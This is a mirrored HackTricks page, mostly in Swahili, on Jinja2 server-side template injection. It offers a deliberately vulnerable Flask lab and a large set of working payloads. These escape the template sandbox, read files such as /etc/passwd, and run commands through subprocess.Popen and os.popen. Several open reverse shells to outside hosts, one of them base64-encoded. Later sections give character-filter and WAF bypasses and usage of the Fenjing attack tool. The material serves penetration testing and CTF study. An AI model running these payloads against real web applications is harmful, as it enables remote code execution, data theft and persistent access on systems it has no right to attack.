mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
332 lines
15 KiB
Markdown
332 lines
15 KiB
Markdown
# Jinja2 SSTI
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<details>
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<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
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Njia nyingine za kusaidia HackTricks:
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* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
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* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
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* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
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</details>
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## **Lab**
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```python
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from flask import Flask, request, render_template_string
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app = Flask(__name__)
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@app.route("/")
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def home():
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if request.args.get('c'):
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return render_template_string(request.args.get('c'))
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else:
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return "Hello, send someting inside the param 'c'!"
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if __name__ == "__main__":
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app.run()
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```
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### **Taarifa Mbalimbali**
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### **Kauli ya Uchunguzi**
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Ikiwa Kifaa cha Uchunguzi kimeanzishwa, lebo ya `debug` itapatikana kwa kudondosha muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumika kwenye kigezo bila kuweka debugger.
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```python
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<pre>
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{% raw %}
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{% debug %}
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{% endraw %}
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</pre>
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```
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### **Mwaga pembejeo zote za usanidi**
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```python
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{{ config }} #In these object you can find all the configured env variables
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{% raw %}
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{% for key, value in config.items() %}
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<dt>{{ key|e }}</dt>
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<dd>{{ value|e }}</dd>
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{% endfor %}
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{% endraw %}
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```
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## **Uingiliaji wa Jinja**
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Kwanza kabisa, katika uingiliaji wa Jinja unahitaji **kupata njia ya kutoroka kutoka kwa sanduku la mchanga** na kupata upya ufikiaji wa mtiririko wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji **kutumia vitu** ambavyo **vinatoka** kwenye **mazingira yasiyo na sanduku la mchanga lakini vinaweza kufikiwa kutoka kwa sanduku la mchanga**.
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### Kupata Vitu vya Kitaifa
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Kwa mfano, katika nambari `render_template("hello.html", username=username, email=email)` vitu username na email **vinatoka kwenye mazingira ya python yasiyo na sanduku** na vitakuwa **vinapatikana** ndani ya **mazingira ya sanduku la mchanga.**\
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Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa **vinapatikana daima kutoka kwa mazingira ya sanduku la mchanga**, hivi ni:
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```
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[]
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''
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()
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dict
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config
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request
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```
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### Kurejesha \<class 'object'>
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Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: **`<class 'object'>`** ili kujaribu **kurejesha** **darasa** zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengee hiki tunaweza kuita njia ya **`__subclasses__`** na **kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku**.
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Ili kufikia **darasa la kipengee** hicho, unahitaji **kufikia kipengee cha darasa** na kisha ufikie **`__base__`**, **`__mro__()[-1]`** au `.`**`mro()[-1]`**. Na kisha, **baada ya** kufikia **darasa hili la kipengee** tunaita **`__subclasses__()`**.
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Angalia mifano hii:
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```python
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# To access a class object
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[].__class__
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''.__class__
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()["__class__"] # You can also access attributes like this
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request["__class__"]
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config.__class__
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dict #It's already a class
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# From a class to access the class "object".
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## "dict" used as example from the previous list:
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dict.__base__
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dict["__base__"]
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dict.mro()[-1]
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dict.__mro__[-1]
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(dict|attr("__mro__"))[-1]
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(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
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# From the "object" class call __subclasses__()
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{{ dict.__base__.__subclasses__() }}
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{{ dict.mro()[-1].__subclasses__() }}
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{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
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{% raw %}
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{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
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# Other examples using these ways
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{{ ().__class__.__base__.__subclasses__() }}
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{{ [].__class__.__mro__[-1].__subclasses__() }}
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{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
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{{ request.__class__.mro()[-1].__subclasses__() }}
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{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
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{% endraw %}
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# Not sure if this will work, but I saw it somewhere
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{{ [].class.base.subclasses() }}
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{{ ''.class.mro()[1].subclasses() }}
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```
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### Kutoroka RCE
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**Baada ya kupata** `<class 'object'>` na kuita `__subclasses__` sasa tunaweza kutumia classes hizo kusoma na kuandika faili na kutekeleza nambari.
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Wito kwa `__subclasses__` umetupa fursa ya **kupata mamia ya kazi mpya**, tutafurahi tu kwa kupata **darasa la faili** ili **kusoma/kuandika faili** au darasa lolote lenye ufikiaji wa darasa linalo **ruhusu kutekeleza amri** (kama vile `os`).
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**Soma/Andika faili za mbali**
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```python
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# ''.__class__.__mro__[1].__subclasses__()[40] = File class
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{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
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{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
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```
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**Ukurasa wa Kudhibitiwa Kijijini (RCE)**
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```python
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# The class 396 is the class <class 'subprocess.Popen'>
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{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
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# Without '{{' and '}}'
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<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
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# Calling os.popen without guessing the index of the class
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{% raw %}
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{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
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{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
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## Passing the cmd line in a GET param
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{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
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{% endraw %}
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## Passing the cmd line ?cmd=id, Without " and '
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{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
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```
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Ili kujifunza kuhusu **darasa zaidi** unazoweza kutumia kwa **kutoroka** unaweza **kuangalia**:
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{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
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[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
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{% endcontent-ref %}
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### Kupitisha vikwazo
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#### Kupitisha kawaida
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Hizi kupitisha zitaruhusu **upatikanaji** wa **sifa** za vitu **bila kutumia baadhi ya herufi**.\
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Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya hapo awali, lakini tuwekeze hapa:
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```bash
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# Without quotes, _, [, ]
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## Basic ones
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request.__class__
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request["__class__"]
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request['\x5f\x5fclass\x5f\x5f']
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request|attr("__class__")
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request|attr(["_"*2, "class", "_"*2]|join) # Join trick
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## Using request object options
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request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
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request|attr(request.args.c) #Send a param like "?c=__class__
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request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
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request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
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http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
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## Lists without "[" and "]"
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http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
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# Using with
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{% raw %}
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{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
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{% endraw %}
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```
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* [**Rudi hapa kwa chaguo zaidi za kupata kipengee cha ulimwengu**](jinja2-ssti.md#accessing-global-objects)
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* [**Rudi hapa kwa chaguo zaidi za kupata darasa la kipengee**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
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* [**Soma hii ili upate RCE bila darasa la kipengee**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
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**Kuepuka uendeshaji wa HTML**
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Kwa chaguo-msingi, Flask huchakata HTML yote ndani ya kiolesura kwa sababu za usalama:
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```python
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{{'<script>alert(1);</script>'}}
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#will be
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<script>alert(1);</script>
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```
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**Filteri ya `safe`** inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa **bila** kuwa **imefanyiwa encoding** ya HTML, kama hivi:
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```python
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{{'<script>alert(1);</script>'|safe}}
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#will be
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<script>alert(1);</script>
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```
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**RCE kwa kuandika faili ya usanidi mbaya.**
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```python
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# evil config
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{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
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# load the evil config
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{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
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# connect to evil host
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{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
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```
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## Bila wahusika kadhaa
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Bila **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
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```python
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{% raw %}
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{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
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{% endraw %}
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```
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## Uingiliaji wa Jinja bila **\<class 'object'>**
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Kutoka kwa [**vitu vya kimataifa**](jinja2-ssti.md#accessing-global-objects) kuna njia nyingine ya kufikia **RCE bila kutumia darasa hilo.**\
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Ikiwa utafanikiwa kufikia **kazi yoyote** kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia **`__globals__.__builtins__`** na kutoka hapo **RCE** ni rahisi sana.
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Unaweza **kupata kazi** kutoka kwa vitu **`ombi`**, **`mpangilio`** na vitu vingine **vya kimataifa** vinavyovutia unavyo ufikiaji navyo kwa:
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```bash
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{{ request.__class__.__dict__ }}
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- application
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- _load_form_data
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- on_json_loading_failed
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{{ config.__class__.__dict__ }}
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- __init__
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- from_envvar
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- from_pyfile
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- from_object
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- from_file
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- from_json
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- from_mapping
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- get_namespace
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- __repr__
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# You can iterate through children objects to find more
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```
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Baada ya kupata baadhi ya kazi unaweza kurejesha vifaa vya msingi na:
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```python
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# Read file
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{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
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# RCE
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{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
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{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
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{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
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{% raw %}
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{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
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{% endraw %}
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## Extra
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## The global from config have a access to a function called import_string
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## with this function you don't need to access the builtins
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{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
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# All the bypasses seen in the previous sections are also valid
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```
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### Kupitisha WAF kwa Fuzzing
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**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) ni chombo kilichospecialize katika CTFs lakini kinaweza pia kuwa na manufaa kwa kubadilisha vigezo visivyo sahihi kwenye hali halisi.
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Chombo hicho hupuliza maneno na maswali kugundua vichujio, kutafuta njia za kupitisha, na pia hutoa konsoli ya mwingiliano.
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```
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webui:
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As the name suggests, web UI
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Default port 11451
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scan: scan the entire website
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Extract all forms from the website based on the form element and attack them
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After the scan is successful, a simulated terminal will be provided or the given command will be executed.
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Example:python -m fenjing scan --url 'http://xxx/'
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crack: Attack a specific form
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You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
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After a successful attack, a simulated terminal will also be provided or a given command will be executed.
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Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
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crack-path: attack a specific path
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Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
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The parameters are roughly the same as crack, but you only need to provide the corresponding path
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Example:python -m fenjing crack-path --url 'http://xxx/hello/'
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crack-request: Read a request file for attack
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Read the request in the file, PAYLOADreplace it with the actual payload and submit it
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The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
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```
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## Marejeo
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
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* Angalia [mbinu ya kukiuka herufi zilizowekwa kwenye orodha nyeusi hapa](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
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* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
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* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
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<details>
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<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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